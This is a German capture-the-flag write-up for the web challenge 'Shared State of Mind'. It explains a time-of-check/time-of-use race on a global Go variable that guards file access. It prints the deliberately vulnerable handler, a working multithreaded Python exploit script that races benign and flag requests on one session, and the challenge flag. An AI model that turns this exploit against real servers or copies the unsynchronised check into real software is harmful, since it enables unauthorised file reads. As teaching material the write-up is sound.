Files
HIP7CTF_Writeups/de/shared_state_of_mind.md
m0rph3us1987 a79656b647 Added writeups
2026-03-08 12:22:39 +01:00

153 lines
6.0 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# Shared State of Mind
Willkommen zum Write-up für **Shared State of Mind**. Diese Challenge ist eine "Web"-Challenge, die in die gefährlichen Gewässer der Nebenläufigkeit in Go eintaucht. Sie demonstriert, warum globaler Zustand in einer nebenläufigen Umgebung (wie einem Webserver) ein Rezept für Desaster ist.
Uns wird ein "High-Performance File Viewer" präsentiert, der angeblich "Bloatware" wie Mutex-Locks entfernt hat. Unser Ziel ist es, die Datei `flag.txt` zu lesen, die durch eine Sicherheitsprüfung geschützt ist.
---
## 1. Erste Erkundung
Die Challenge stellt eine URL und ein herunterladbares Archiv `shared_state_of_mind.tar.xz` bereit.
Die Verbindung zur URL gibt uns eine Dateibetrachter-Schnittstelle (oder API). Wir können Dateien mit `?file=...` anfordern.
Wenn wir `?file=worker.go` versuchen, erhalten wir den Quellcode.
Wenn wir `?file=flag.txt` versuchen, erhalten wir:
`Security Check Failed: Forbidden`
## 2. Quellcode-Analyse
Das Archiv enthält zwei wichtige Go-Dateien: `gateway.go` und `worker.go`.
**`gateway.go`**:
Dies fungiert als Load Balancer/Proxy. Er weist jedem Benutzer eine eindeutige Sitzung zu und startet einen dedizierten `./worker`-Prozess für diesen Benutzer. Das bedeutet, dass unsere Anfragen an eine spezifische Instanz der Worker-Anwendung gehen, die nur uns zugewiesen ist.
**`worker.go`**:
Hier liegt die Schwachstelle. Schauen wir uns an, wie es Anfragen behandelt:
```go
// GLOBALE VARIABLE
var checkPassed bool
func handler(w http.ResponseWriter, r *http.Request) {
filename := r.URL.Query().Get("file")
// 1. Sicherheitsprüfung
if strings.Contains(filename, "flag") {
checkPassed = false
} else {
checkPassed = true
}
// 2. Logging (simuliert Verzögerung)
logAccess(filename)
// 3. Datei ausliefern
if checkPassed {
content, _ := ioutil.ReadFile(filename)
w.Write(content)
} else {
http.Error(w, "Forbidden", 403)
}
}
```
## 3. Die Schwachstelle: Race Condition
Die Variable `checkPassed` ist als **globale Variable** auf Paketebene definiert.
In Go erstellt `http.ListenAndServe` eine neue Goroutine für jede eingehende Anfrage. Das bedeutet, wenn mehrere Anfragen gleichzeitig eingehen, teilen sie sich alle den Zugriff auf die *selbe* `checkPassed`-Variable.
Dies erzeugt eine **Race Condition** (spezifisch ein Time-of-Check to Time-of-Use Problem):
1. **Anfrage A (Sicher)** kommt für `worker.go` rein. Sie setzt `checkPassed = true`.
2. **Anfrage B (Bösartig)** kommt für `flag.txt` rein. Sie setzt `checkPassed = false`.
3. **Anfrage A** pausiert kurz (z.B. während `logAccess` oder Kontextwechsel).
4. **Anfrage B** pausiert kurz.
5. **Anfrage A** setzt fort und überschreibt potenziell `checkPassed` zurück auf `true`, *nachdem* Anfrage B es auf false gesetzt hatte, aber *bevor* Anfrage B ihre finale Prüfung durchführt.
Wenn wir das Timing richtig hinbekommen, erreicht Anfrage B (die die Flagge anfordert) die Zeile `if checkPassed` genau in dem Moment, in dem Anfrage A die globale Variable auf `true` gesetzt hat.
## 4. Ausnutzungsstrategie
Um dies auszunutzen, müssen wir den Server gleichzeitig mit zwei Arten von Anfragen überfluten, unter Verwendung des **gleichen Session-Cookies** (damit sie denselben Worker-Prozess treffen):
1. **Sichere Anfragen:** Wiederholt nach einer erlaubten Datei fragen (z.B. `?file=worker.go`). Dies versucht ständig, `checkPassed = true` zu setzen.
2. **Bösartige Anfragen:** Wiederholt nach `?file=flag.txt` fragen. Dies versucht, die Flagge zu lesen.
Wir können ein einfaches Python-Skript mit mehreren Threads verwenden, um dies zu erreichen.
### Exploit-Skript
```python
import threading
import requests
import sys
import time
# --- ZIEL-KONFIGURATION ---
TARGET_URL = "http://challenge-url:1320/"
print("[*] Initializing Session...")
s = requests.Session()
try:
s.get(TARGET_URL)
except requests.exceptions.ConnectionError:
print(f"[-] Could not connect to {TARGET_URL}. Is the docker container running?")
sys.exit(1)
if 'ctf_session' not in s.cookies:
print("[-] Failed to get session cookie")
sys.exit(1)
print(f"[+] Session ID: {s.cookies['ctf_session']}")
cookie = {'ctf_session': s.cookies['ctf_session']}
def do_safe():
while True:
try:
requests.get(TARGET_URL + "?file=worker.go", cookies=cookie)
except:
pass
def do_exploit():
while True:
try:
r = requests.get(TARGET_URL + "?file=flag.txt", cookies=cookie)
if "{flag: " in r.text:
print(f"\n\n[SUCCESS] Flag Found: {r.text}\n")
sys.exit(0)
except:
pass
print("[*] Starting threads... (Press Ctrl+C to stop)")
# Hohes Volumen an sicheren Threads, um den Schalter umzulegen
for i in range(10):
t = threading.Thread(target=do_safe)
t.daemon = True
t.start()
# Exploit-Thread
for i in range(1):
t = threading.Thread(target=do_exploit)
t.daemon = True
t.start()
while True:
time.sleep(1)
```
## 5. Die Lösung
Das Ausführen des Exploit-Skripts gegen das Ziel verursacht eine Race Condition. Innerhalb weniger Sekunden wird eine der bösartigen Anfragen das Rennen "gewinnen" durch die Prüfung schlüpfen, weil eine gleichzeitige sichere Anfrage den globalen Schalter auf `true` gesetzt hat.
**Flag:** `{flag: D0nt_Sh4r3_M3m0ry_Just_P4ss_Th3_Fl4g}`
## Gelernte Lektionen
* **Vermeide globalen Zustand:** Verwenden Sie niemals globale Variablen, um anfragespezifische Daten in einem Webserver zu speichern. Verwenden Sie lokale Variablen oder übergeben Sie Daten durch den Funktionskontext.
* **Nebenläufigkeit ist schwer:** Nur weil Code sequenziell aussieht, heißt das nicht, dass er relativ zu anderen Anfragen sequenziell ausgeführt wird.
* **Threadsicherheit:** Wenn Sie geteilten Zustand verwenden müssen, schützen Sie ihn immer mit Synchronisationsprimitiven wie Mutexes, oder besser noch, verwenden Sie Go's Channels, um sicher zu kommunizieren.
Frohes Hacken!